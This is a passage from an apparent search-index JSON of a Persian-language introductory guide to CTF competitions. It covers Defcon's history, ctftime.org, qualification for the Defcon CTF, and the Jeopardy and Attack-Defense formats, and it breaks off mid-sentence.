\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0631\u0648\u0631\u06cc \u062a\u0627\u0631\u06cc\u062e\u06cc \u0631\u0648\u06cc \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0627\u0628\u062a\u062f\u0627 \u0628\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0648 \u0634\u0627\u06cc\u062f \u0628\u0632\u0631\u06af\u200c\u062a\u0631\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633\u200c\u0647\u0627\u06cc \u0647\u06a9 \u0648 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0628\u0647 \u0646\u0627\u0645 Defcon \u06a9\u0647 \u0647\u0631 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0634\u0647\u0631 \u0644\u0627\u0633 \u0648\u06af\u0627\u0633 \u0622\u0645\u0631\u06cc\u06a9\u0627 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u0622\u0634\u0646\u0627 \u0634\u0648\u06cc\u0645. \u0627\u0645\u0633\u0627\u0644 \u06a9\u0647 \u0633\u06cc\u200c\u0648\u062f\u0648\u0645\u06cc\u0646 \u062f\u0648\u0631\u0647 \u0622\u0646 \u062f\u0631 \u062d\u0627\u0644 \u062b\u0628\u062a\u200c\u0646\u0627\u0645 \u0627\u0633\u062a \u0627\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u0632\u0631\u06af\u200c\u062a\u0631\u06cc\u0646 \u06af\u0631\u062f\u0647\u0645\u0627\u06cc\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0634\u0627\u06cc\u062f \u0634\u0631\u06a9\u062a \u0648 \u0633\u062e\u0646\u0631\u0627\u0646\u06cc \u062f\u0631 \u0622\u0646 \u0622\u0631\u0632\u0648\u06cc \u0647\u0631 \u0647\u06a9\u0631 \u06cc\u0627 \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f \u0628\u0647 \u0627\u0645\u0646\u06cc\u062a \u0628\u0627\u0634\u062f. \u0634\u0631\u06a9\u062a \u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u0627\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u0634\u0627\u0645\u0644 \u0645\u062a\u062e\u0635\u0635\u0627\u0646 \u0648 \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0628\u06cc\u0631\u06cc\u060c \u0631\u0648\u0632\u0646\u0627\u0645\u0647\u200c\u0646\u06af\u0627\u0631\u0627\u0646\u060c \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646 \u062f\u0648\u0644\u062a \u0641\u062f\u0631\u0627\u0644\u060c \u062f\u0627\u0646\u0634\u062c\u0648\u06cc\u0627\u0646 \u0648 \u0647\u06a9\u0631\u0647\u0627 \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0633\u0631\u0627\u0633\u0631 \u062f\u0646\u06cc\u0627 \u062f\u0648\u0631 \u0647\u0645 \u062c\u0645\u0639 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u062a\u0627 \u0622\u062e\u0631\u06cc\u0646 \u062a\u062c\u0631\u0628\u06cc\u0627\u062a \u062e\u0648\u062f \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0647\u0631 \u0686\u06cc\u0632 \u0642\u0627\u0628\u0644 \u0647\u06a9 \u0631\u0627 \u0628\u0627 \u0647\u0645 \u062f\u0631 \u0645\u06cc\u0627\u0646 \u0628\u06af\u0630\u0627\u0631\u0646\u062f. \u0627\u0648\u0644\u06cc\u0646 \u062f\u0648\u0631\u0647 \u0627\u06cc\u0646 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u062a\u0648\u0633\u0637 \u062c\u0641 \u0645\u0627\u0633 (Jeff Moss) \u0628\u0647 \u0637\u0648\u0631 \u063a\u06cc\u0631\u0645\u0646\u062a\u0638\u0631\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u0645\u0647\u0645\u0627\u0646\u06cc \u0628\u0631\u0627\u06cc \u062e\u062f\u0627\u062d\u0627\u0641\u0638\u06cc \u0627\u0632 \u06cc\u06a9 \u062f\u0648\u0633\u062a \u0647\u06a9\u0631\u0634 \u062f\u0631 \u0633\u0627\u0644 \u06f1\u06f9\u06f9\u06f3 \u062a\u0623\u0633\u06cc\u0633 \u0634\u062f. \u0627\u06cc\u0646 \u0645\u0647\u0645\u0627\u0646\u06cc \u0628\u0627 \u062d\u0636\u0648\u0631 \u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u06f1\u06f0\u06f0 \u0646\u0641\u0631 \u0627\u0632 \u062f\u0648\u0633\u062a\u0627\u0646 \u0647\u06a9\u0631 \u0627\u0648 \u06a9\u0647 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0648 \u0646\u0632\u062f\u06cc\u06a9 \u0622\u0645\u062f\u0647 \u0628\u0648\u062f\u0646\u062f\u060c \u0628\u0631\u06af\u0632\u0627\u0631 \u0634\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_2","title":"\u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0646\u062e\u0633\u062a CTF","text":"

\u0627\u0648\u0644\u06cc\u0646 \u062f\u0648\u0631\u0647 \u0645\u0633\u0627\u0628\u0642\u0647 CTF \u0628\u0647 \u0686\u0647\u0627\u0631\u0645\u06cc\u0646 \u062f\u0648\u0631\u0647 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633 \u06cc\u0639\u0646\u06cc \u0633\u0627\u0644 \u06f1\u06f9\u06f9\u06f6 \u0628\u0631\u0645\u06cc\u200c\u06af\u0631\u062f\u062f. Defcon CTF \u0634\u0627\u06cc\u062f \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u06cc\u0646 CTF \u0627\u0633\u062a \u06a9\u0647 \u0647\u0646\u0648\u0632 \u0628\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u062e\u0648\u062f \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f. \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0646\u062e\u0633\u062a \u0622\u0646 (\u06f1\u06f9\u06f9\u06f6-\u06f2\u06f0\u06f0\u06f1) \u0647\u06cc\u0686 \u0642\u0627\u0646\u0648\u0646 \u0645\u0634\u062e\u0635\u06cc \u0628\u0631\u0627\u06cc \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0634\u062a. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u062d\u06cc\u0637 \u06cc\u0627 \u0628\u0633\u062a\u0631 \u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0628\u0631\u0627\u06cc \u0622\u0646 \u0633\u0627\u062e\u062a\u0647 \u0646\u0634\u062f\u0647 \u0628\u0648\u062f \u0648 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc \u062a\u06cc\u0645\u200c\u0647\u0627 \u062f\u0633\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u062f. \u0628\u0631\u06af\u0632\u0627\u0631\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0627\u0648\u0644 \u062f\u0627\u0648\u0637\u0644\u0628\u0627\u0646 \u0648 \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f\u0627\u0646 \u063a\u06cc\u0631\u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0628\u0648\u062f\u0646\u062f \u06a9\u0647 \u062a\u062c\u0631\u0628\u0647 \u06a9\u0627\u0641\u06cc \u0646\u062f\u0627\u0634\u062a\u0646\u062f. \u0627\u062e\u062a\u0644\u0627\u0641 \u0648 \u0646\u0627\u0631\u0636\u0627\u06cc\u062a\u06cc \u0632\u06cc\u0627\u062f \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0641\u0642\u062f\u0627\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631\u060c \u0639\u062f\u0645 \u062f\u0627\u0646\u0634 \u0641\u0646\u06cc \u06a9\u0627\u0641\u06cc \u062f\u0627\u0648\u0631\u0627\u0646\u060c \u062a\u0623\u062e\u06cc\u0631\u0647\u0627 \u0648 \u062e\u0637\u0627\u0647\u0627\u06cc \u0632\u06cc\u0627\u062f \u062f\u0631 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc\u060c \u0646\u0627\u067e\u0627\u06cc\u062f\u0627\u0631\u06cc \u0634\u0628\u06a9\u0647 \u0648 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u0627\u0632 \u0645\u0647\u0645\u200c\u062a\u0631\u06cc\u0646 \u0645\u0634\u06a9\u0644\u0627\u062a \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0627\u0648\u0644 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0628\u0648\u062f. \u0627\u0645\u0627 \u062f\u0631 \u0637\u0648\u0644 \u0633\u0627\u0644\u200c\u0647\u0627\u06cc \u0628\u0639\u062f\u060c \u0627\u06cc\u0646 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627 \u0622\u0647\u0633\u062a\u0647 \u0628\u0647 \u0628\u0644\u0648\u063a \u0631\u0633\u06cc\u062f \u0648 \u0627\u0645\u062a\u06cc\u0627\u0632\u062f\u0647\u06cc \u062a\u0627 \u062d\u062f \u0632\u06cc\u0627\u062f\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631 \u0634\u062f\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_1","title":"\u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u062d\u0627\u0644 \u062d\u0627\u0636\u0631","text":"

\u062f\u0631 \u0686\u0646\u062f \u0633\u0627\u0644 \u06af\u0630\u0634\u062a\u0647\u060c \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0628\u0647 \u06cc\u06a9 \u0646\u0627\u0645 \u0645\u062d\u0628\u0648\u0628 \u062f\u0631 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0648 \u062a\u0639\u062f\u0627\u062f \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0628\u0647 \u0637\u0648\u0631 \u067e\u06cc\u0648\u0633\u062a\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0633\u062a. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644 \u062a\u0646\u0647\u0627 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f2\u06f3 \u0628\u0627\u0644\u063a \u0628\u0631 \u06f2\u06f9\u06f0 \u0645\u0633\u0627\u0628\u0642\u0647 CTF \u062f\u0631 \u0633\u0637\u062d \u062c\u0647\u0627\u0646 \u0628\u0631\u06af\u0632\u0627\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0645\u0647\u0627\u0631\u062a\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0633\u062a\u0631\u062f\u0647\u200c\u062a\u0631 \u0648 \u062c\u062f\u06cc\u062f\u062a\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0628\u0644\u0627\u06a9\u0686\u06cc\u0646\u060c \u0647\u0648\u0634 \u0645\u0635\u0646\u0648\u0639\u06cc\u060c \u067e\u0646\u0647\u0627\u0646\u200c\u0646\u06af\u0627\u0631\u06cc \u0648 \u062c\u0627\u0633\u0648\u0633\u06cc \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0648\u0628 (Osint) \u0628\u0647 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062f\u0644\u0627\u06cc\u0644 \u0648\u0628 \u0633\u0627\u06cc\u062a ctftime \u0627\u0632 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f1 \u0627\u0642\u062f\u0627\u0645 \u0628\u0647 \u0646\u06af\u0647\u062f\u0627\u0631\u06cc \u0648 \u062b\u0628\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0647\u0631 \u0645\u0633\u0627\u0628\u0642\u0647\u060c \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0627\u0645\u062a\u06cc\u0627\u0632 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0648 \u0648\u0632\u0646\u200c\u062f\u0647\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u06a9\u0631\u062f\u0647 \u062a\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0648 \u0631\u062a\u0628\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0647 \u0641\u0631\u0627\u0645\u0648\u0634\u06cc \u0633\u067e\u0631\u062f\u0647 \u0646\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0648\u0628\u0633\u0627\u06cc\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u06a9\u0627\u0645\u0644\u06cc \u062f\u0631 \u0645\u0648\u0631\u062f \u062a\u0642\u0648\u06cc\u0645 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u067e\u06cc\u0634 \u0631\u0648 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062f\u0646\u06cc\u0627 \u0648 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u06af\u0630\u0634\u062a\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u06cc\u06af\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0622\u0631\u0634\u06cc\u0648 \u06a9\u0627\u0645\u0644\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0631\u062a\u0628\u0647\u200c\u06cc \u062a\u06cc\u0645\u200c\u0647\u0627 \u062f\u0631 \u0647\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 \u0648 \u0627\u0645\u062a\u06cc\u0627\u0632 \u06a9\u0644\u06cc \u0648 \u0631\u062f\u0647\u200c\u0628\u0646\u062f\u06cc \u0633\u0627\u0644\u0627\u0646\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc CTF \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc ctftime \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u0645\u0631\u062c\u0639 \u062e\u0648\u0628 \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0648 \u0634\u0631\u06a9\u062a \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a.

\u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0631 \u06af\u0630\u0631 \u0632\u0645\u0627\u0646 \u0628\u0647 \u0628\u0644\u0648\u063a \u0631\u0633\u06cc\u062f\u0646\u062f \u0648 \u0634\u0647\u0631\u062a \u0628\u06cc\u0634\u062a\u0631\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646\u062f\u060c \u062a\u0642\u0627\u0636\u0627\u06cc \u0628\u06cc\u0634\u062a\u0631\u06cc \u0627\u0632 \u0637\u0631\u0641 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0628\u0631\u0627\u06cc \u0634\u0631\u06a9\u062a \u062f\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0622\u0645\u062f. \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 Defcon CTF \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u0647\u062a\u0631\u06cc\u0646 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0647\u06a9 \u0648 \u0627\u0645\u0646\u06cc\u062a \u062c\u0647\u0627\u0646 \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0648 \u062a\u0642\u0627\u0636\u0627 \u0628\u0631\u0627\u06cc \u0634\u0631\u06a9\u062a \u062f\u0631 \u0622\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0632\u06cc\u0627\u062f \u0627\u0633\u062a \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0631\u0648\u0634\u06cc \u0645\u0634\u0627\u0628\u0647 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0632\u0634\u06cc \u0627\u0644\u0645\u067e\u06cc\u06a9 \u0628\u0631\u0627\u06cc \u0648\u0631\u0648\u062f \u0622\u0646 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0627\u06cc\u062f \u0645\u062c\u0645\u0648\u0639\u0647\u200c\u0627\u06cc \u0627\u0632 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0642\u062f\u0645\u0627\u062a\u06cc CTF \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u0646\u062f \u062a\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0644\u0627\u0632\u0645 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062d\u0636\u0648\u0631 \u062f\u0631 \u0627\u06cc\u0646 \u0631\u0648\u06cc\u062f\u0627\u062f \u06a9\u0633\u0628 \u06a9\u0646\u0646\u062f. \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062f\u0644\u06cc\u0644 Defcon CTF \u0628\u0647 \u0627\u0644\u0645\u067e\u06cc\u06a9 \u0647\u06a9\u0631\u0647\u0627 \u0645\u0639\u0631\u0648\u0641 \u0634\u062f\u0647 \u06a9\u0647 \u062c\u0632\u0626\u06cc\u0627\u062a\u06cc \u0627\u0632 \u0646\u062a\u0627\u06cc\u062c \u062f\u0648\u0631\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0622\u0646 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0622\u0645\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u062a\u06cc\u0645 \u0642\u0647\u0631\u0645\u0627\u0646 \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u062c\u0627\u06cc\u0632\u0647\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627\u0644\u0627\u062a\u0631\u06cc\u0646 \u0646\u0634\u0627\u0646 \u0628\u0647 \u0646\u0627\u0645 \"\u0646\u0634\u0627\u0646 \u0633\u06cc\u0627\u0647\" (Black Badge) \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_3","title":"\u0627\u0646\u0648\u0627\u0639 CTF","text":"

\u0645\u0646\u0627\u0628\u0639 \u0645\u062e\u062a\u0644\u0641 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0631\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u0645\u0639\u06cc\u0627\u0631\u0647\u0627\u06cc \u06af\u0648\u0646\u0627\u06af\u0648\u0646 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0637\u0628\u0642\u0647\u200c\u0628\u0646\u062f\u06cc \u0622\u0646 \u0631\u0627 \u062a\u0634\u0631\u06cc\u062d \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-","title":"\u06f1- \u0628\u0631\u0627\u0633\u0627\u0633 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634","text":"

\u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u200c\u0647\u0627 \u06cc\u0627 \u0646\u062d\u0648\u0647 \u0631\u0642\u0627\u0628\u062a \u062a\u06cc\u0645\u200c\u0647\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0633\u062a. \u0628\u0631 \u0627\u06cc\u0646 \u0627\u0633\u0627\u0633 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 CTF\u0647\u0627 \u0631\u0627 \u0628\u0647 \u062f\u0641\u0627\u0639\u200c - \u062d\u0645\u0644\u0647 (Attack-Defense) \u0648 \u0633\u0628\u06a9 \u0645\u0648\u0636\u0648\u0639\u06cc (Jeopardy) \u06cc\u0627 \u062a\u0631\u06a9\u06cc\u0628\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0648 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0631\u062f.

\u0627\u06cc\u0646 \u062f\u0633\u062a\u0647\u060c \u0627\u0632 \u0631\u0627\u06cc\u062c\u200c\u062a\u0631\u06cc\u0646 \u0646\u0648\u0639 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0627\u0633\u062a. \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 \u0628\u0631\u0627\u0633\u0627\u0633 \u062d\u0648\u0632\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0645\u0646\u06cc\u062a \u0645\u0627\u0646\u0646\u062f \u0648\u0628\u060c \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633\u060c \u062c\u0631\u0645\u200c\u06cc\u0627\u0628\u06cc\u060c Pwn\u060c \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u060c \u067e\u0646\u0647\u0627\u0646\u200c\u0646\u06af\u0627\u0631\u06cc \u0648\u063a\u06cc\u0631\u0647 \u0628\u0627 \u062f\u0631\u062c\u0647 \u0633\u062e\u062a\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0645\u0627\u0646\u0646\u062f \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0637\u0628\u0642\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u062a\u06cc\u0645\u200c\u0647\u0627 \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u062a\u0627 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0631\u0627 \u062d\u0644 \u0648 \u067e\u0631\u0686\u0645 \u0622\u0646 \u0686\u0627\u0644\u0634 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u0646\u062f. \u062f\u0631 \u0631\u0648\u0634 \u0645\u0648\u0636\u0648\u0639\u06cc \u0631\u0642\u0627\u0628\u062a \u0628\u06cc\u0646 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u06a9\u0633\u0628 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0628\u06cc\u0634\u062a\u0631 \u0627\u0633\u062a. \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0645\u0633\u0627\u0628\u0642\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0645\u0647\u0627\u0631\u062a \u0632\u06cc\u0627\u062f \u062f\u0631 \u0647\u0645\u0647 \u0634\u0627\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0646\u06cc\u0633\u062a \u0686\u0648\u0646 \u0647\u0631 \u06cc\u06a9 \u0627\u0632 \u0627\u0639\u0636\u0627\u06cc \u062a\u06cc\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0631\u0634\u062a\u0647 \u062e\u0648\u062f \u0628\u067e\u0631\u062f\u0627\u0632\u0646\u062f.

\u062f\u0631 \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u0648\u0644\u06cc\u0647 \u06cc\u06a9\u0633\u0627\u0646\u06cc \u0645\u0627\u0646\u0646\u062f \u062a\u0635\u0648\u06cc\u0631\u06cc \u0627\u0632 \u067e\u06cc\u06a9\u0631\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u0628\u06a9\u0647\u060c \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0648 \u0633\u0631\u0648\u0631\u0647\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0647\u0631 \u062a\u06cc\u0645 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u0647\u0631 \u062a\u06cc\u0645 \u0628\u0627\u06cc\u062f \u0647\u0645\u0632\u0645\u0627\u0646 \u0631\u0648\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0631\u0642\u06cc\u0628 \u06a9\u0627\u0631 \u06a9\u0646\u062f \u0648 \u0627\u0632 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0645\u062a\u0639\u0644\u0642 \u0628\u0647 \u062e\u0648\u062f \u0645\u062d\u0627\u0641\u0638\u062a \u06a9\u0646\u062f. \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u06cc\u0646\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u0647\u0627\u06cc \u0645\u0634\u0627\u0628\u0647 \u0627\u0633\u062a\u061b \u0627\u06af\u0631 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627\u06cc \u062e\u0648\u062f \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f\u060c \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0633\u0631\u0639\u062a \u062f\u0631 \u0633\u0645\u062a \u062e\u0648\u062f \u0631\u0641\u0639 \u0648 \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc 